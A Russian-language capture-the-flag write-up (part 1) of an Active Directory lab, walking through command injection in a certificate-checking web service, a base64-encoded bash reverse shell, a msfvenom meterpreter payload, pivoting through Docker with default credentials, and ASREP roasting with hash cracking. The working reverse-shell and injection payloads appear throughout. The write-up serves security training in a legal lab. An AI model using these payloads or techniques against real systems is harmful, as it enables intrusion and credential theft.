Как взломать доступный хост а потом и весь домен. Часть 1
Life-Hack [Жизнь-Взлом]/ХакингКак сказано в описании, Hades предназначен для проверки навыков на всех этапах атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, поставить под угрозу весь домен, собрав 7 флагов.
Подключение к лаборатории осуществляется через VPN. Не рекомендуется подключаться с рабочего компьютера или с хоста, на котором есть важные для вас данные, поскольку вы находитесь в частной сети с людьми, которые кое-что знают об информационной безопасности.
Вся информация предоставлена только в образовательных целях. Автор этого документа не несет ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных при изучении этого документа.
Intro
Данный endgame состоит из 3 машин, и содержит 7 флагов.
- Chasm flag — RCE (command injection) + Initial Access;
- 2. Guardian flag — Enumeration + ASREP Roasting;
- 3. Messenger flag — Printer Bug + Silver Ticket + Service Control
- 4. Resurrection flag — Creds Access and Dumping
- 5. Gateway flag — BloodHound + Control account
- 6. Celestial flag — ADIDNS + Responder
- 7. Dominion flag — Lateral Movement

Так же дается описание и адрес доступного хоста.

Chasm flag
Данная машина имеет IP адрес 10.13.38.16, который я добавляю в /etc/hosts.
10.13.38.16 hades.htb
Первым делом сканируем открытые порты. Для этого я использую следующий скрипт, который проведет сканирование со скоростью 500 пакетов в секунду с помощью nmap, и определит отвечающие порты, после чего мы используем для этих портов встроенные скрипты nmap (опция -А).
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1

И у нас открыт только 443 порт, отвечающий за соединение по протоколу HTTPS. Осмотревшись на сайте, отметим только домен gigantichosting.com и интересный сервис “Certificate Checker”.

Данный сервис просит указать IP адрес, причем происходит вывод (скорее всего) из командной строки. Давайте откроем у себя порт c использованием SSL и посмотрим входящий запрос. Для этого запустим ncat и обратимся к своему IP.

Давайте проверим, используется ли командная строка. Для этого в обращении к директории на нашем сервере вставим вложенную команду.
10.14.14.4:554/$(whoami)

И получаем имя пользователя, значит присутствует OS Command Injection! Давайте попробуем кинуть реверс шелл. Для этого будем использовать простой bash reverse-shell:
bash -i >& /dev/tcp/10.14.14.4/4321 0>&1
Но чтобы избежать неудобных символов, закодируем его в base64.

На стороне сервера нужно будет выполнить команду декодирования и передачи вывода в bash. При этом, вместо пробелов будем использовать конструкцию ${IFS}.
echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash
Давайте откроем порт для прослушивания и выполним запрос.
10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)

Таким образом, мы получаем бэкконнект. Но так как это лаборатория и шелл нестабильный, давайте напишем скрипт, запуская который мы будем легко создавать новый бэкконнект (это лишь для удобства). Все необходимые для этого данные возьмем из браузера.

Создадим python скрипт.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
payload = "10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)"
params = {'name': payload}
response = requests.post(url='https://10.13.38.16/ssltools/certificate.php', data=params, verify=False)
А теперь попробуем в качестве нагрузки использовать meterpreter. Давайте сначала сгенерируем пэйлоад.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.4 LPORT=4321 -f elf -o r.elf

Теперь используем конструкцию следующего вида. Мы кодируем наш файл в base64.

На стороне сервера, это нужно будет декодировать и записать в файл, после чего присвоить право на исполнение и выполнить. Все три действия еще раз кодируем в base64, таким образом нагрузка будет удовлетворять условиям нашего эксплоита.
echo "echo $(base64 -w0 r.elf) | base64 -d > /tmp/r ; chmod +x /tmp/r ; exec /tmp/r" | base64 -w0 ; echo

Вставляем данную строку, вместо base64 строки нашей нагрузки в python коде. Далее необходимо запустить листенер.
handler -p linux/x64/meterpreter/reverse_tcp -H 10.14.14.4 -P 4321

И давайте выполним наш эксплоит. Мы сразу увидим активное подключение в окне Metasploit — быстро и удобно.

И сразу в текущей директории находим первый флаг.

Таким образом, мы получаем точку опоры на первом хосте.
Guardian flag
Первым делом, перечислим систему, на которую мы попали. Я использую LinPEAS.

Из вывода мы узнаем, что находимся в докер контейнере.

Так же находим еще один хост — 192.168.99.1.

Посмотрим информацию о сетевых интерфейсах.

И в своей сети находим еще один хост.

Так как на хосте не было средств сканирования, скачаем скомпилированный с зависимостями nmap здесь и загрузим его на хост.

Далее просканируем два найденных хоста.


Переходя к порту 443 на 192.168.99.1, мы получаем уже знакомый сайт, с которого был сделан вывод, что докер был развернут на 192.168.99.1. Так как на этом хосте больше ничего интересного не нашлось, я перешел на 172.17.0.1. Так как порт 443 там ответил знакомым сайтом, это тот же докер. И мы успешно подключаемся через ssh с учетными данными по умолчанию (docker: tcuser). И сразу переходим к пользователю root.
shell python3 -c 'import pty;pty.spawn("/bin/bash")' ssh docker@172.17.0.1

Ничего не обнаружив, перейдем к последнему варианту — это мониторинг запущенных процессов и трафика. Скопируем собранные pspy и tcpdump на хост. В процессах нет ничего интересного, но в трафике каждые 5 секунд мы обнаруживаем три неизвестных хоста в подсети 192.168.3.0/24.

Вернувшись к первому докеру просканируем подсеть, чтобы найти все хосты. Но находим всего один хост.
/tmp/nmap -sn 192.168.3.0/24

Предположительно работает брэндмауэр, поэтому снова сканируем всю сеть без пинга (-Pn) на наличие частых известных открытых портов.
/tmp/nmap -Pn 192.168.3.0/24 -p53,80,135,139,443,445

И находим три хоста (как и сказано в описании к лаборатории). Давайте просканируем порты на этих хостах.
/tmp/nmap -Pn 192.168.3.201-203

Итак, мы определили службы, и теперь мы собираемся создать туннель во внутреннюю сеть. Нам нужно маршрутизировать в сеть 192.168.3.0/24. Мы укажем это в модуле Autoroute, а затем проверим, что маршрут был успешно создан.
run autoroute -s 192.168.3.0/24 run autoroute -p

Теперь давайте настроим перенаправитель — socks4 прокси-сервер. За это отвечает модуль auxiliary/server/socks4a.

И чтобы мы могли использовать любое приложение с данным прокси, настроим proxychains. Для этого изменим файл конфигурации /etc/proxychains.conf.

Теперь мы можем перенаправить трафик любого приложения во внутреннюю сеть, указав proxychains -q. Так как везде доступно SMB, давайте посмотрим версии операционных систем и имена машин с помощью CrackMapExec.
proxychains -q cme smb 192.168.3.201-203

Давайте добавим данные записи в /etc/hosts.
192.168.3.201 dev.htb.local 192.168.3.202 web.htb.local 192.168.3.203 dc1.htb.local
После попытки подключиться к разным сервисам ничего не вышло. Но можно пройти по именам пользователей с помощью атаки ASREP Roasting. Дело в том, что мы можем запросить ключ (ключ AS) определенного пользователя kerberos, который будет зашифрован с использованием пароля этого пользователя. И если в учетной записи UAC установлен флаг DONT_REQ_PREAUTH (предварительная аутентификация Kerberos не требуется), сервер вернет нам ключ. Но дело в том, что сервер различает ответ «этот флаг не установлен» и «аккаунт не существует». Затем мы можем перечислить имена пользователей, и если они сообщат нам, что флаг не установлен, мы сделаем вывод, что такая учетная запись существует. Это можно сделать с помощью инструмента GetNPUser, входящего в пакет impacket. Мы используем Username / names.txt из набора SecLists в качестве словаря.
proxychains -q GetNPUsers.py htb.local/ -dc-ip dc1.htb.local -k -no-pass -usersfile ./names.txt | grep -v "Client not found in Kerberos database"

Как же я был удивлен, когда нам вернули ключ пользователя bob (не ожидал)! Плюс ко всему мы нашли еще двух пользователей kalle и lee. Так как ключ зашифрован на пароле пользователя, мы можем его пробрутить.
john --wordlist=./tools/rockyou.txt bob.hash

И мы получаем первую учетную запись! Теперь нужно снова проверить все службы с имеющимися у нас учетными записями. Начнем с общих ресурсов.
proxychains -q cme smb 192.168.3.201-203 -u bob -p "Passw0rd1!" --shares

И у нас есть доступ к некоторым директория на контроллере домена. Давайте рекурсивно отобразим содержимое всех директорий.
proxychains -q smbmap -d htb.local -u bob -p "Passw0rd1!" -H 192.168.3.203 -R

И видим ожидающий нас флаг, что означает еще один пройденный этап. Давайте заберем его.
proxychains -q smbclient.py 'htb.local/bob:Passw0rd1!@192.168.3.203'

Продолжение следует…